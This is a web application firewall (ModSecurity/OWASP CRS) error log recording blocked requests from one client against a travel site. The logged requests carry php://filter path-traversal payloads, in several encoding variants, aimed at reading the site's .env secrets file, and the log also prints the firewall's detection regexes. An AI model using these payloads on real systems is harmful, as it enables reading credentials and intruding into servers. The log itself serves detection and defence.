/?raw=1&doc=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&cb=BkjohmACIExVw_9l47CQ7Xe6KZfSpoA15q7vjHTiH8f5sNiSYriSD9mLF8lY0IkaVnb7KE03u6dm-9CW4zzPvPuZIjjkMqY0dEXuE2XbyUgTnRwUojW0pW6eoB1qwhvWILTDKzHjmy_XbmTwmQBG2WbwNRmKm-PvP-J6-fRzq1_sHAdzlcWmOeFCzSodbawwdwC2SkwTCKMibFPhwidGPv6FUzPAQWuzENMqDnP-10w8kM9_5OvaD9aQCNWJw__XjuYUEcrqO40QBuEpDz2v6fx9&ts=S4NGLZOC5JZCOUC7W4QIWF5IY5OU5Q7DIDKPSUKK7L4O2KB3M4SXRDBANQ3DYXDPZ36OBX64LE4GJ3ZGW..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sFgAAABQ"]
[Fri Jul 17 08:55:11.074256 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sFgAAABQ"]
[Fri Jul 17 08:55:11.074315 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&doc=php://filter/convert.base64-encode/resource=../../../.env&cb=BkjohmACIExVw_9l47CQ7Xe6KZfSpoA15q7vjHTiH8f5sNiSYriSD9mLF8lY0IkaVnb7KE03u6dm-9CW4zzPvPuZIjjkMqY0dEXuE2XbyUgTnRwUojW0pW6eoB1qwhvWILTDKzHjmy_XbmTwmQBG2WbwNRmKm-PvP-J6-fRzq1_sHAdzlcWmOeFCzSodbawwdwC2SkwTCKMibFPhwidGPv6FUzPAQWuzENMqDnP-10w8kM9_5OvaD9aQCNWJw__XjuYUEcrqO40QBuEpDz2v6fx9&ts=S4NGLZOC5JZCOUC7W4QIWF5IY5OU5Q7DIDKPSUKK7L4O2KB3M4SXRDBANQ3DYXDPZ36OBX64LE4GJ3ZGWS7NGJZYTJKYJNWPRNF6MBUO2Q3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sFgAAABQ"]
[Fri Jul 17 08:55:11.074349 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&doc=php://filter/convert.base64-encode/resource=../../../.env&cb=bkjohmaciexvw_9l47cq7xe6kzfspoa15q7vjhtih8f5snisyrisd9mlf8ly0ikavnb7ke03u6dm-9cw4zzpvpuzijjkmqy0dexue2xbyugtnrwuojw0pw6eob1qwhvwiltdkzhjmy_xbmtwmqbg2wbwnrmkm-pvp-j6-frzq1_shadzlcwmoefczsodbawwdwc2skwtckmibfphwidgpv6fuzpaqwuzenmqdnp-10w8km9_5ovad9aqcnwjw__xjuyuecrqo40qbuepdz2v6fx9&ts=s4nglzoc5jzcouc7w4qiwf5iy5ou5q7didkpsukk7l4o2kb3m4sxrdbanq3dyxdpz36obx64le4gj3zgws7ngjzytjkyjnwprnf6mbuo2q3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sFgAAABQ"]
[Fri Jul 17 08:55:11.074374 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sFgAAABQ"]
[Fri Jul 17 08:55:11.074403 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sFgAAABQ"]
[Fri Jul 17 08:55:11.074605 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95wAAAAAw"]
[Fri Jul 17 08:55:11.074733 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:doc: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sFgAAABQ"]
[Fri Jul 17 08:55:11.074744 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.074999 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4l9vhFBGA6D8l95wAAAAAw"]
[Fri Jul 17 08:55:11.075836 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sFgAAABQ"]
[Fri Jul 17 08:55:11.075947 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.076444 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0gVnBK6wAv37w6sFgAAABQ"]
[Fri Jul 17 08:55:11.076551 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&config=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&ts=c9TZMH8pbY6HP_JV3mNtahYDKIBNDWTesP9CZUS4Ca4ytgXBP0qSydJ1Ab-t_J8VwvdRtqunKU3iJkvlA9lAWbhBWMj12M4H9BrmAXDykziTwKYvyy5TmhbvsRX0g8pUFbvNJygvNn-7SLr796dN1fBTxVVdTYMfC7XkhxtSN4CP4ZyqHYX4RHt1NavhGf20QZ3XbdRxiTXlteK6Fm5zVfzoIABmnKJvUYAksGTQ-7Ce2GQPhcp6l-bnmqgikPtlYDZbKY1EqUhs0KaUOcKggd-1&sid=ZYFOJMZFDRFEMKSCAEK66F7NAHSBP4HJ4EWCQDAOSAWV6S5N4TCQPPNUJM5VLJ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AXgAAAAU"]
[Fri Jul 17 08:55:11.076593 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AXgAAAAU"]
[Fri Jul 17 08:55:11.076653 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&config=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&ts=c9TZMH8pbY6HP_JV3mNtahYDKIBNDWTesP9CZUS4Ca4ytgXBP0qSydJ1Ab-t_J8VwvdRtqunKU3iJkvlA9lAWbhBWMj12M4H9BrmAXDykziTwKYvyy5TmhbvsRX0g8pUFbvNJygvNn-7SLr796dN1fBTxVVdTYMfC7XkhxtSN4CP4ZyqHYX4RHt1NavhGf20QZ3XbdRxiTXlteK6Fm5zVfzoIABmnKJvUYAksGTQ-7Ce2GQPhcp6l-bnmqgikPtlYDZbKY1EqUhs0KaUOcKggd-1&sid=ZYFOJMZFDRFEMKSCAEK66F7NAHSBP4HJ4EWCQDAOSAWV6S5N4TCQPPNUJM5VLJGNFT2MAVI7CKVFJSIGFXOYOGA7N3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AXgAAAAU"]
[Fri Jul 17 08:55:11.076693 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&config=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&ts=c9tzmh8pby6hp_jv3mntahydkibndwtesp9czus4ca4ytgxbp0qsydj1ab-t_j8vwvdrtqunku3ijkvla9lawbhbwmj12m4h9brmaxdykzitwkyvyy5tmhbvsrx0g8pufbvnjygvnn-7slr796dn1fbtxvvdtymfc7xkhxtsn4cp4zyqhyx4rht1navhgf20qz3xbdrxitxltek6fm5zvfzoiabmnkjvuyaksgtq-7ce2gqphcp6l-bnmqgikptlydzbky1equhs0kauockggd-1&sid=zyfojmzfdrfemkscaek66f7nahsbp4hj4ewcqdaosawv6s5n4tcqppnujm5vljgnft2mavi7ckvfjsigfxoyoga7n3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AXgAAAAU"]
[Fri Jul 17 08:55:11.076717 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AXgAAAAU"]
[Fri Jul 17 08:55:11.076737 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AXgAAAAU"]
[Fri Jul 17 08:55:11.077110 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:config: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AXgAAAAU"]
[Fri Jul 17 08:55:11.078092 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AXgAAAAU"]
[Fri Jul 17 08:55:11.078233 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.078512 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglxAi3pC6yjXGNq2AXgAAAAU"]
[Fri Jul 17 08:55:11.112357 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&doc=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F.env&ts=u_1gkF_uCWFmdkI26TwwKgIKslnjnYE1Pma4K_P7WNr8Weom5XZ-ZXDEu00tDs18hfKPIDYVGEU1pFOvF7B6XDlzhmSfUI-R8uBDa2NYxibVf7kabyxlAfXrL_dyM5_B4nsXnXuH6u1-QXJ8MweDsKhw4Rt92Kba6ETN1e4lLHm_b6vFPSG46AfDItCX7btmuLKVOe3Et6rcu5hrEVobcaEh-3u2jid654oeDI322UE5FTbZiQHaP3kIzHzNVA6RN3oZvo2wvM8ub6qxkuT9zogc&junk=SREASR6CRJ2BIPMPPPBF6XPXLLHKTYZXBNW37SXNU343CLVFVHIGXVIV2WD67O3G44NDB3CCLLMKBXGD..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSagAAAB4"]
[Fri Jul 17 08:55:11.112413 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSagAAAB4"]
[Fri Jul 17 08:55:11.112459 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&doc=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&ts=u_1gkF_uCWFmdkI26TwwKgIKslnjnYE1Pma4K_P7WNr8Weom5XZ-ZXDEu00tDs18hfKPIDYVGEU1pFOvF7B6XDlzhmSfUI-R8uBDa2NYxibVf7kabyxlAfXrL_dyM5_B4nsXnXuH6u1-QXJ8MweDsKhw4Rt92Kba6ETN1e4lLHm_b6vFPSG46AfDItCX7btmuLKVOe3Et6rcu5hrEVobcaEh-3u2jid654oeDI322UE5FTbZiQHaP3kIzHzNVA6RN3oZvo2wvM8ub6qxkuT9zogc&junk=SREASR6CRJ2BIPMPPPBF6XPXLLHKTYZXBNW37SXNU343CLVFVHIGXVIV2WD67O3G44NDB3CCLLMKBXGDRQ6HTKCTEEE4GIHR7RBJFF5I..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSagAAAB4"]
[Fri Jul 17 08:55:11.112497 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&doc=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&ts=u_1gkf_ucwfmdki26twwkgikslnjnye1pma4k_p7wnr8weom5xz-zxdeu00tds18hfkpidyvgeu1pfovf7b6xdlzhmsfui-r8ubda2nyxibvf7kabyxlafxrl_dym5_b4nsxnxuh6u1-qxj8mwedskhw4rt92kba6etn1e4llhm_b6vfpsg46afditcx7btmulkvoe3et6rcu5hrevobcaeh-3u2jid654oedi322ue5ftbziqhap3kizhznva6rn3ozvo2wvm8ub6qxkut9zogc&junk=sreasr6crj2bipmpppbf6xpxllhktyzxbnw37sxnu343clvfvhigxviv2wd67o3g44ndb3ccllmkbxgdrq6htkcteee4gihr7rbjff5i..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSagAAAB4"]
